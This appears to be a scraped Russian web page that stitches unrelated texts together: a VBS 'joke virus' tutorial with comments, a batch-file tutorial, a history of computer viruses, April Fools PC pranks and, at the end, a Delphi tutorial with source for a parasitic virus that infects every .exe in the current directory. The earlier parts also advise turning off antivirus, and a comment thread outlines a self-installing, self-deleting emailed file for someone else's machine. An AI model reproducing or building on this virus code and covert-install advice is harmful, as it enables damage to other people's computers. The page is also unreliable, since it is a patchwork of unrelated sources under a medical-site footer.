Vbs приколы и вирусы

Здравствуйте! В этом посте (первом) я покажу, как создавать вирус шутку через блокнот. Сразу прошу не бомбить и не писать гневные комменты типа: "Да такого миллион!", "Да что ты знаешь!", "Да пошел ты в жопу!" и т.д. Да, я знаю, что эти "вирусы" создавали давно. Но я к примеру открыл для себя это совсем недавно. Месяца 3 назад.

Ближе к делу: я буду рассказывать что эта шутка вообще делает, буду вставлять скрины и все объяснять. Напомню, это ознакомительный пост! В других постах я буду конкретно писать, как создать такой-то вирус.

Вирус-шутка это программа, которую создают в блокноте. Т.е. пишешь там команды и сохраняешь их определенных форматах. Если все правильно сделано, без ошибок, то вирус-шутка сработает. Кстати, "вирус-шутка" это условное название. В блокноте можно создать и игру, и крестики нолики, часы.

ПРЕДУПРЕЖДЕНИЕ. Перед созданием вируса отключите Анти-Вирус.

1) Создание вируса: Для начала откройте блокнот.


2) В блокноте начинайте писать команду. Для начала скопируйте этот текст туда:

msgbox"Ты не против, если я буду жить у тебя в компе?",32+4,"Вопрос"

msgbox"Ок, ты не против",64,"Я понял"

msgbox"Ок, ты не против",64,"Я понял"

msgbox"Это шутка, это НЕ вирус :) ХАХАХАХА",64,"Я пошутил"

msgbox"Или же нет. ",64,". "

Я НЕ ЖЕЛАЮ ВАМ ЗЛА! ЭТОТ ВИРУС НЕ МОЖЕТ ПРИНЕСТИ ВАМ И ВАШЕМУ КОМПУ ВРЕДА!


3) Сохраните ваш текст в формате .vbs Смотрите далее.




4) Теперь у вас на Рабочем столе должен появиться вот такой значок:


5) Заходите в него.

6) У вас должен открыться вирус-шутка. Если же не работает, то два варианта: либо у вас включен Анти-Вирус, либо ваш комп не поддерживает это.


7) НЕ ПУГАЙТЕСЬ! ВИРУС-ШУТКА НЕ ПРИНЕСЕТ ВРЕДА. Теперь вам осталось читать то, что там написано, и кликать по кнопкам (любым).

Вы можете изменить в команде вируса текст. Например вместо "Windows удалить?" можно написать "ставьте лайки!". Удачи вам, экспериментируйте со своими вирусами!

И так, как я обещал, это был ознакомительный пост. Вскоре я выложу пост, где подробно опишу все значения, как все делать и т.д. Отпишитесь в тапках как вам мой пост, киньте скрины своего вируса. Мне будет интересно :D

сука! у меня винда удалилась!

Не ври. Этот вирус-шутка и близко такого сделать не может.

ТС, у вас тоже снегопад? Занятия в школах отменили?

Да, отменили. Вот и сижу, "клавотюкаюсь".

Мне хочется узнать все подробно как это работает что обозначает msgbox, цифры 64; 32+4

"msgbox" - название команды, которая выводит стандартный диалог. Цифрами выбирается стиль отображения (иконка внутри диалога и воспроизводимый звук при открытии). Также стилем выбираются кнопки (их текст и количество)

Отображаемых иконок всего 4: ошибка, вопрос, восклицание и внимание. Столько-же звуков.
Кнопок в связке по более:
Ок
Ок, Отмена
Да, Нет
Да, Нет, Отмена
Повтор, Отмена
Пропустить, Повторить Отменить

Т.к. эти диалоги выдаются системой, то можно указать только заголовок и текст диалога. Свой текст кнопок или свою иконку Вы не сможете установить. Можно вывести диалог без иконки. Вроде ничего не забыл. Давно увлекался этим, потом перешел на норм. язык программирования.

Ой, а может поможете раз разбираетесь?

Хочу коллегу разыграть/ поздравить с днем рождения. Он в командировке сейчас. Хочу ему на почту файл бросить который в определенный день ему на принтер выведет поздравление. Как можно батник сделать, чтобы он себя в автозагрузку прописал и именно в определенный день сработал? Ну и удалился потом, чтоб он не догадался.

В инете поискал, там только на удаление доков батники) и определенного дня нельзя поставить.

Если хотите именно батник, то можно попробовать использовать планировщик Windows, но с батниками куча ограничений.

О поздравлялке: даже если Вы отправите эл. письмо с батником или exe-шником, то поздравление не сработает, пока его не скачают и не запустят. В некоторых случаях почтовый сервис может отправить письмо в папку "Спам" (пользователь его не увидит), либо при скачивании файл заблокирует антивирус, но это все маловероятно.

На счет печати принтером: это можно, но обязательно? Можно например вывести на экран красивый диалог, или картинку :)

Нет с программкой не тот эффект))) Да и вк нету.

Просто хотелось отправить на почту письмо, (его обязательно откроют, так как с этого адреса только по работе приходит, да и с чувством опасности у людей проблемы))), чтоб этот файл прописался в планировщик или в автозагрузку, а в нужный день отправил бы на печать текст. Там принтер ежедневно включают, так что по-любому бы удивил)))

Я батники когда-то давно делал. Даже похожий прикол видел, когда из планировщика каждый день на печать выходит "Ты умрешь через *** дней", "Ты умрешь завтра", "Это случится сегодня". Но там надо было за компом посидеть, чтоб настроить. А как это "дистанционно" через почту сделать я не знаю.

В любом случае спасибо.

Хм, думаю, что через батник хоть и сложно, но реально: батник запускает установщик Windows (msiexec.exe) с параметром, который скачает и установит программу и документ с текстом печати. Программа прописывается в автозапуск и следит за датой и временем системы. Как только дата начала наступает, программа запускает скрытый процесс Microsoft Office Word (winword.exe) с параметром начала печати нашего документа. Программа делает какую-нибудь отметку на каком-либо ресурсе (сайте или сервере), что она успешно отработала. Запускается msiexec.exe с параметром удаления нашей программы (программа удаляется с компьютера).

Несколько вопросов:
- на компьютере есть MS Office Word? Иначе придется создавать документ формата .rtf (поддерживается системой без доп. софта)
- проще изначально в письме использовать не батник, а именно приложение (exe-файл, т.к. не придется сначала создавать, а после скачивать установщик). Если нужно, то предоставлю исходный код приложения. Язык программирования - AutoIt 3. Его синтаксис очень напоминает рассматриваемые в посте скрипты. Так может лучше обойтись без батника?
- нужны дата запуска печати документа и текст поздравления
- желательно заранее знать, какая операционная система установлена на компьютере, где будет выполняться "поздравлялка" (XP, Vista, 7, 8, 8.1, 10 или серверные редакции систем Windows)?


В этой статье я желаю поведать вам, как создать bat файл, редактировать и запускать его и на что он вообще способен. Все, что нам нужно это блокнот,прямые руки и немного терпения.

Что представляет собой BAT файл?

Это простой текстовый файл или как говорят в народе батник, имеющий расширение .bat В этом файле прописан перечень команд и выполняется он с участием командной строки. Когда вы запускаете bat файл, сначала происходит запуск командной строки cmd, а он в свою очередь начинает считывать все команды в файле и поочерёдно выполнять их

Для чего создавать BAT файл

В основном такие файлы используют для автоматизации рутинных процессов, например, совершать одно и тоже действие определённое количество раз (запускать или завершать любое количество программ, создавать, редактировать и удалять несколько папок за раз, массово менять имена файлов, копировать, перемещать их) и т.д. а также позволяют писать простые вирусы.

Создание BAT файла

Сперва, для удобства работы создадим на рабочем столе Новую папку, затем внутри неё создаём текстовый файл с именем file,



запишем туда несколько команд

@echo Hello, i'm bat!
pause




затем к file приписываем .bat и должно получиться file.bat,





Теперь рассмотрим, что делают написанные в нём команды:

Echo – команда вывода на экран
@ — запрещает показывать

Для создания bat файла вы можете использовать любые команды командной строки windows,весь список находится здесь.

Давайте теперь напишем что-нибудь посложнее, напишем bat файл, который создает 100 папок. Для этого просто создайте файл с именем mkdir.bat и напечатайте там такие команды:

@echo off
for /l %%i in (1,1,100) do mkdir "dir %%i"

После запуска батника,вы увидите 100 новых папок,в скриншоте показано только 10 так как остальные не вместились бы


А теперь сразу создадим bat файл, который будет удалять созданные нами раннее 100 папок

@echo off
for /l %%i in (1,1,100) do rmdir "dir %%i"

Сейчас поясню, что делают эти команды в bat файле:

@echo off — запрещает вывод всех команд на экран

for – цикл, выполняет команду указанное количество раз

do – указывает, что делать

%%i – переменная, куда подставляются значения

in(1,1,100) – набор, который раскрывается в последовательность чисел от заданного начала, конца и шага

В нашем случае от 1,2,3,4,5,6,7,8…100

mkdir – создаёт папку

rmdir – удаляет папку

Вместо количества папок -100 вы можете поставить 10.000,100.000 и чем больше число, тем больше времени может зависнуть компьютер, от пары секунд до нескольких минут, в зависимости от мощности процессора.

Я надеюсь что вы уже научились не только создавать bat файл, но и редактировать и запускать его,поняли для чего они используется и как применять его на практике.

Понравилась статья? Не жалейте,ставьте лайк! Спасибо:)

Вирусы. Они бывают разные - например, грипп, гепатит, герпес; а бывают еще и
компьютерные. Вот о них, родимых, и поговорим. Что же это такое - компьютерный вирус?

Объяснений, что такое компьютерный вирус, можно привести несколько. Самое простое -
бытовое объяснение для домохозяйки, которая ни разу в жизни компьютера не видела, но
знает, что Он есть, и что в Нем водятся Вирусы. Объяснение будет дано на примере
клерка, работающего исключительно с бумагами. Идея такого объяснения принадлежит
Д.Н.Лозинскому.

Представим себе аккуратного клерка, который приходит на работу, к себе в контору и
каждый день обнаруживает у себя на столе стопку листов бумаги со списком заданий,
которые он должен выполнить за рабочий день. Клерк берет верхний лист, читает указания
начальства, пунктуально их выполняет, выбрасывает "отработанный" лист в мусорное ведро
и переходит к следующему листу. Предположим, что некий злоумышленник тайком
прокрадывается в контору и подкладывает в стопку бумаг лист, на котором написано
следующее: "Переписать этот лист два раза и положить копии в стопку заданий соседей".

Что сделает клерк? Дважды перепишет лист, положит его соседям на стол, уничтожит
оригинал и перейдет к выполнению второго листа из стопки, т.е. продолжит выполнять
свою настоящую работу. Что сделают соседи, являясь такими же аккуратными клерками,
обнаружив новое задание? То же, что и первый: перепишут его по два раза и раздадут
другим клеркам. Итого, в конторе бродят уже четыре копии первоначального документа,
которые и дальше будут копироваться и раздаваться на другие столы.

Примерно так же работает и компьютерный вирус, только стопками бумаг-указаний являются
программы, а клерком - компьютер. Так же как и клерк, компьютер аккуратно выполняет
все команды программы (листы заданий), начиная с первой. Если же первая команда звучит
как "скопируй меня в две другие программы", то компьютер так и сделает, - и
команда-вирус попадает в две другие программы. Когда компьютер перейдет к выполнению
других "зараженных" программ, вирус тем же способом будет расходиться все дальше и
дальше по всему компьютеру.

В приведенном выше примере про клерка и его контору лист-вирус не проверяет, заражена
очередная папка заданий или нет. В этом случае к концу рабочего дня контора будет
завалена такими копиями, а клерки только и будут что переписывать один и тот же текст
и раздавать его соседям - ведь первый клерк сделает две копии, очередные жертвы вируса
- уже четыре, затем 8, 16, 32, 64 и т.д., т.е. количество копий каждый раз будет
увеличиваться в два раза. Если клерк на переписывание одного листа тратит 30 секунд и
еще 30 секунд на раздачу копий, то через час по конторе будет "бродить" более
1.000.000.000.000.000.000 копий вируса! Скорее всего, конечно же, не хватит бумаги, и
распространение вируса будет остановлено по столь банальной причине.

Как это ни смешно (хотя участникам этого инцидента было совсем не смешно), именно
такой случай произошел в 1988 году в Америке - несколько глобальных сетей передачи
информации оказались переполненными копиями сетевого вируса (вирус Морриса), который
рассылал себя от компьютера к компьютеру. Поэтому "правильные" вирусы делают так:
"Переписать этот лист два раза и положить копии в стопку заданий соседей, если у них
еще нет этого листа". Проблема решена - "перенаселения" нет, но каждая стопка содержит
по копии вируса, при этом клерки еще успевают справляться и с обычной работой.

"А как же уничтожение данных?" - спросит хорошо эрудированная домохозяйка. Все очень
просто - достаточно дописать на лист примерно следующее:
1. Переписать этот лист два раза и положить копии в стопку заданий соседей, если у них
еще нет этого листа.
2. Посмотреть на календарь - если сегодня пятница, попавшая на 13-е число, выкинуть
все документы в мусорную корзину.

Кстати, на примере клерка очень хорошо видно, почему в большинстве случаев нельзя
точно определить, откуда в компьютере появился вирус. Все клерки имеют одинаковые (с
точностью до почерка) КОПИИ, но оригинал-то с почерком злоумышленника уже давно в
корзине!

Вот такое простое объяснение работы вируса. Плюс к нему хотелось бы привести две
аксиомы, которые, как это ни странно, не для всех являются очевидными:
Во-первых, вирусы не возникают сами собой - их создают программисты-хакеры и рассылают
затем по сети или подкидывают на компьютеры знакомых. Вирус не может сам собой
появиться на вашем компьютере - либо его подсунули на дискетах или даже на
компакт-диске, либо вы его случайно скачали из компьютерной сети, либо вирус жил у вас
в компьютере с самого начала.
Во-вторых: компьютерные вирусы заражают только компьютер и ничего больше, поэтому не
надо бояться - через клавиатуру и мышь они не передаются.

Теперь попробуем дать более точное определение вируса. Основная трудность, возникающая
при попытках дать это определение, заключается в том, что практически все
отличительные черты вируса (внедрение в другие объекты, скрытность, потенциальная
опасность и проч.) либо присущи другим программам, которые никоим образом вирусами не
являются, либо же существуют вирусы, которые не содержат указанных выше отличительных
черт (за исключением возможности распространения).

Например, если в качестве отличительной характеристики вируса принимается скрытность,
то легко привести пример вируса, не скрывающего своего распространения. Такой вирус
перед заражением любого файла выводит сообщение, гласящее, что в компьютере находится
вирус и этот вирус готов поразить очередной файл, затем выводит имя этого файла и
запрашивает разрешение пользователя на внедрение вируса в файл.

Если в качестве отличительной черты вируса приводится возможность уничтожения им
программ и данных на дисках, то в качестве контрпримера к данной отличительной черте
можно привести десятки совершенно безобидных вирусов, которые кроме своего
распространения ничем больше не отличаются.

Основная же особенность компьютерных вирусов - возможность их самопроизвольного
внедрения в различные объекты операционной системы - присуща многим программам,
которые не являются вирусами. Например, операционная система MS-DOS имеет в себе все
необходимое, чтобы самопроизвольно устанавливаться на не-DOS'овские диски. Для этого
достаточно на загрузочный флоппи-диск, содержащий DOS, записать файл AUTOEXEC.BAT
следующего содержания:
SYS A:
COPY *.* A:\
SYS B:
COPY *.* B:\
SYS C:
COPY *.* C:\

Модифицированная таким образом DOS сама станет самым настоящим вирусом с точки зрения
практически любого существующего определения компьютерного вируса.

Таким образом, первой из причин, не позволяющих дать точное определение вирусу,
является невозможность однозначно выделить отличительные признаки, которые
соответствовали бы только вирусам.

Мнений по поводу даты рождения первого компьютерного вируса очень много. Доподлинно
известно только одно: на машине Беббиджа его не было, а на Univac 1108 и IBM-360/370
они уже были ("Pervading Animal" и "Christmas tree"). Таким образом, первый вирус
появился где-то в самом начале 70-х или даже в конце 60-х годов, хотя "вирусом" его
никто еще не называл.

Поговорим о новейшей истории: "Brain", "Vienna", "Cascade" и далее. Те, кто начал
работать на IBM-PC аж в середине 80-х, еще не забыли повальную эпидемию этих вирусов в
1987-89 годах. Буквы сыпались на экранах, а толпы пользователей неслись к специалистам
по ремонту дисплеев (сейчас все наоборот: винчестер сдох от старости, а валят на
неизвестный передовой науке вирус). Затем компьютер заиграл чужеземный гимн "Yankee
Doodle", но чинить динамики уже никто не бросился - очень быстро разобрались, что это
- вирус, да не один, а целый десяток.

Так вирусы начали заражать файлы. Вирус "Brain" и скачущий по экрану шарик вируса
"Ping-pong" ознаменовали победу вируса и над Boot-сектором.

Время шло, вирусы плодились. Все они были чем-то похожи друг на друга, лезли в память,
цеплялись к файлам и секторам, периодически убивали файлы, дискеты и винчестеры. Одним
из первых "откровений" стал вирус "Frodo.4096" - файловый вирус-невидимка (стелс).
Этот вирус перехватывал INT 21h и, при обращении через DOS к зараженным файлам,
изменял информацию таким образом, что файл появлялся перед пользователем в
незараженном виде. Но это была только надстройка вируса над MS-DOS. Не прошло и года,
как электронные тараканы полезли внутрь ядра DOS (вирус-невидимка "Beast.512"). Идея
невидимости продолжала приносить свой плоды и далее: летом 1991 года пронесся, кося
компьютеры как бубонная чума, вирус "Dir_II".

Но бороться с невидимками было довольно просто: почистил RAM - и будь спокоен, ищи
гада и лечи его на здоровье. Побольше хлопот доставляли самошифрующиеся вирусы,
которые иногда встречались в очередных поступлениях в коллекции. Ведь для их
идентификации и удаления приходилось писать специальные подпрограммы, отлаживать их.
Но на это никто тогда не обращал внимания, пока. Пока не появились вирусы нового
поколения, те, которые носят название полиморфик-вирусы. Эти вирусы используют другой
подход к невидимости: они шифруются (в большинстве случаев), а в расшифровщике
используют команды, которые могут не повторяться при заражении различных файлов.

Первый полиморфный вирус появился в начале 90-х кодов - "Chameleon", но по-настоящему
серьезной проблема полиморфик-вирусов стала лишь год спустя - в апреле 1991-го, когда
практически весь мир был охвачен эпидемией полиморфик-вируса "Tequila".

Год 1995-й, август. Все прогрессивное человечество, компания Microsoft и Билл Гейтс
лично празднуют выход новой операционной системы Windows95. На фоне шумного торжества
практически незамеченным прошло сообщение о появлении вируса, использующего
принципиально новые методы заражения - вируса, заражающего документы Microsoft Word.

А вирус, получивший к тому времени имя "Concept", продолжал победное движение по
планете. Появившись, скорее всего, в каком-то из подразделений Microsoft, "Concept" в
мгновение ока завладел тысячами (если не миллионами) компьютеров. Это неудивительно,
ведь передача текстов в формате MS Word стала де-факто одним из стандартов, а для
того, чтобы заразиться вирусом, требуется всего лишь открыть зараженный документ, и
все остальные документы, редактируемые в зараженном Word'e, также оказываются
зараженными. В результате, получив по Интернету зараженный файл и прочитав его,
пользователь, не зная того сам, оказывался "разносчиком заразы", и вся его переписка
(если, конечно же, она велась при помощи MS Word) также оказывалась зараженной! Таким
образом, возможность заражения MS Word, помноженная на скорость Интернета, стала одной
из самых серьезных проблем за всю историю существования вирусов.

На носу первое апреля - день, когда каждый старается пошутить над максимально большим числом тех, кто его окружает. И компьютер - замечательный инструмент для первоапрельского шутника. По поводу Дня дураков я решил поделиться с вами некоторыми рецептами компьютерных шуток.

Приколы эти подходят для того, чтобы разыграть кого-то, кто неосторожно отошёл в туалет или поговорить по телефону и забыл поставить пароль на систему. Можно также подколоть кого-то до начала рабочего дня, если, опять-таки, имеется доступ к его компьютеру в течение некоторого небольшого промежутка времени. Только хочу предупредить вас о том, что снимаю с себя ответственность за последствия применения этой статьи: нужно знать, с кем шутить можно, а с кем - лучше не стоит.


Прикол с иконками на рабочем столе

Весьма эффектным и безобидным является прикол с ярлыками на рабочем столе, когда последние мало того, что не запускают нужные программы, так даже и просто выделяться не хотят. Думаю, идею вы уже сходу успели уловить: вместо рабочего стола ставится снимок экрана, на котором есть все ярлыки, а сами ярлыки при этом куда-нибудь убираются. Желательно их при этом не удалять, а просто переместить в какую-нибудь папку, чтобы потом легко и быстро можно было вернуть всё в первоначальное состояние.

Как это сделать подручными средствами? Закрываем все программы (именно закрываем, чтобы не было ничего на панели задач), жмём клавишу Print Screen ("Prt Sc SysRq"), заходим в Paint (он находится в папке "Стандартные" в меню "Пуск"), вставляем картинку из буфера обмена. Далее в меню "Файл" выбираем "Замостить рабочий стол Windows", после чего перемещаем куда-нибудь иконки. Для большего эффекта можно также спрятать панель задач (хотя бы просто перетянув её вниз).

Теперь сделаем рукотворное сообщение о том, что найден вирус. Откройте блокнот и напишите в одну строку следующий текст:

MsgBox "На Вашем компьютере обнаружен вирус." & vbCrLf & "Пожалуйста, перезагрузитесь для диагностики и устранения ошибки.",,"Windows нашла вирус"

Текст до первой запятой - это и есть наше сообщение, оно должно быть заключено в кавычки (здесь оно при отображении будет разбито на две строки). Сохраните файл где-нибудь под именем, например, Virus.vbs (важно, чтобы расширение было именно VBS). Запустите его. На экране должно появиться сообщение с текстом "На Вашем компьютере обнаружен вирус. Пожалуйста, перезагрузитесь для диагностики и устранения ошибки". Можно запустить файл самостоятельно и уйти, оставив сообщение висеть. Но гораздо интереснее добавить его в автозагрузку ("Пуск" -> "Программы" -> "Автозагрузка"). Тогда это сообщение будет появляться при каждой перезагрузке системы.

Если есть время, можно комбинировать два первых прикола, повесив изображение сообщения о вирусе на рабочий стол. Тогда можно даже не кидать его в автозагрузку - оно и так будет висеть на рабочем столе. Думаю, с тем, как это осуществить, вы замечательно разберётесь и без повторных объяснений.


Ещё один вариант с сообщением

Ещё один неплохой вариант прикола с сообщением - замена любимой игры жертвы, на которую ведёт часто используемый ярлык, на сообщение а-ля "Работать надо, некогда играть!". Как создавать сообщение, вы уже знаете, так что немного расскажу только о ярлыках. Щёлкните по ярлыку правой кнопкой мыши и выберите "Свойства". Перейдите на вкладку "Ярлык" и в поле "Объект" напечатайте в кавычках полное имя VBS-файла с сообщением, включая путь к нему (т.е., например, "c:\Documents and Settings\User1\My Documents\1apr.vbs").

Довольно забавно будет также поменять домашнюю страницу браузера жертвы первоапрельского розыгрыша на. нет, не на порносайт. На страницу с текстом "За Вами следит ФБР!". Можно добавить ещё что-нибудь типа "Медленно выйдите из комнаты и подойдите к нашему агенту, маскирующемуся под продавца хот-догов в ларьке напротив Вашего окна" или что-то в том же духе - но это уже по вашему вкусу. Быстрее всего это будет реализовать с помощью Word'а. Откройте его, напишите "За Вами следит ФБР!" и прочее (желательно крупными буквами) и сохраните как HTML-страницу. Далее открываете эту страницу в браузере и в свойствах браузера назначаете её стартовой.

Думаю, что вы, прочитав эти несколько простых вариантов приколов, сможете придумать свой, который будет лучше подходить под того, кого вы хотите разыграть. Хочу только ещё раз предупредить о необходимости осторожного обращения с шутками даже первого апреля. Если вы не уверены, что человек сможет оценить шутку, лучше не шутите над ним.


А как вы разыгрываете друзей, коллег и домашних на 1 апреля с помощью компьютера? Расскажите на нашем форуме!

HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и "заражает" дальше.

HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация
HLLC - более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.

HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
- тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.

Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:

MZТело злобного вируса
MZКод программы

Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
- заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
- будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:

MZтело злобного вируса
XORed часть ориг. проги
Неизменная часть ориг. проги

В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
- parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:

Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
- вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.

Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.

Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:

program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;

Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу--> ждем завершения ее работы--> стираем "отработавший файл" (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).--> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.

Объяви теперь для своего могучего мозга следующие переменные и константы:

VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;

Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
Pr - это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize - размер кода программы. Остальное ясно из дальнейшего, кроме
infected - это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:

SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],'c:\windows\program.exe',false);
IF FileSize (my)> VirLen then
begin
//Запуск программы
AssignFile (my,'c:\windows\program.exe);
Reset (my);
ProgSize:= FileSize(my)-VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:= '_'+ParamStr(0);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
PN:= PN+#0;
Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Запустили, программа отработала. Сотрем ее 🙂
ErAsE (pr);
Erase (my);

Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
- на Delphi.

Строчки эти - преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:

result:= FindFirst ('*.exe',faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '03.08.98 06:00:00' then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.98 06:00:00')));
end;
end;

//Если вир запущен "чистым", т.е. не из зараженной про-граммы, то завершаемся
end else halt;

Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂

Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.

Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.

AssignFile - в WinAPI нет аналога - сопоставляет файл
с переменной типа File или TextFile

Reset - аналоги _lopen и CreateFile - открывает
существующий файл и устанавливает позицию
чтения в начало

ReWrite - _lcreate и CreateFile - создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено

BlockRead - _lread и ReadFile - читает в буфер
определенное количество данных из файла

BlockWrite - _lwrite и WriteFile - соответственно, пишет
данные в файл

SeekFile - _llseek и SetFilePointer - перемещает позицию
чтения/записи в открытом файле

CloseFile - _lclose и CloseHandle - закрывает открытый
файл

Erase - DeleteFile - удаление файла

FindFirst - FindFirstFile - поиск файла по критериям

FindNext - FindNextFile - поиск следующего файла

Читайте также:

Пожалуйста, не занимайтесь самолечением!
При симпотмах заболевания - обратитесь к врачу.

Copyright © Иммунитет и инфекции